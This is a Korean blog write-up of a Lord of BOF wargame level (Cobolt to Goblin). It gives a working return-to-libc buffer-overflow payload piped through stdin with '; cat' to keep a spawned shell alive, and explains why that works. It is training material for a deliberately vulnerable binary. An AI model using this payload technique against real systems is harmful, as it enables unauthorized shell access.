Sh4n3e
[시스템해킹][LOB] Level3 : Cobolt -> Goblin 본문
해당 문제도 이전에 사용했던 RTL Payload를 그대로 사용한다.
문제를 파악해보자.
int main() |
해당 문제는 이전 문제와는 다르게 표준입출력을 통해 입력을 받는 것을 확인할 수 있다. (표준입출력(stdin) : getsh)
따라서 이전과는 다른 방식으로 페이로드를 넘겨줘야만 한다.
그 전에 어셈블 코드를 한번 살펴보자
[cobolt@localhost cobolt]$ gdb -q g |
코드는 비교적 매우 간단하다.
바로 이전에 사용한 페이로드와 동일하게 사용하면 된다는 것을 알 수 있다.
그럼 공격해보자
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'; cat)|./goblin AAAAAAAAAAAAAAAAAAAA��@BBBB��@ |
* 추가 내용
여기에서 ;cat을 붙여주는 이유는 stdin으로 입력할 것들을 pipe를 통하여 넣어주었을 경우 ;cat을 붙여주어야 하는 이유는 EOF 때문인데 (python으로 짠 shell을 실행시켜주는 exploit)|./attackbinary를 하였을 때, exploit이 제대로 작성되었다면 shell이 실행된다. 하지만 이 때 실행된 shell에게 stdin은 EOF를 주게 되고, shell이 정상적으로 실행되었다가 종료되게 된다.
하지만 cat을 붙여주게 되면, python의 실행이 끝나고(혹은 echo의 실행이 끝나고) cat을 실행시켜주게 되는데, python이나 echo만 실행하였을 때는 각 프로그램이 출력시킬 것들을 stdout으로 보내면 끝이니까 마지막에 EOF가 나오게 되지만 cat이 붙으면 cat의 작동이 끝나기 전까지는 EOF가 나오지 않아서 사용자가 입력한 명령어를 보내고 종료하기 전까진 EOF가 나오지 않아 ;cat을 붙여주는 것이다.
출처: http://zairo.tistory.com/entry/Load-of-BOF-Chellange-Cobolt [Stay hungry, Stay foolish.]
'Wargame > LOB' 카테고리의 다른 글
[시스템해킹][LOB] Level5 : Orc -> Wolfman (0) | 2017.06.22 |
---|---|
[시스템해킹][LOB] Level4 : Goblin -> Orc (0) | 2017.06.22 |
[시스템해킹][LOB] Level2 : Gremlin -> Cobolt (0) | 2017.06.22 |
[시스템해킹][LOB] Level1 : Gate -> Gremlin (0) | 2017.06.22 |
LOB(Lord Of BOF) 초기설정 (0) | 2017.06.22 |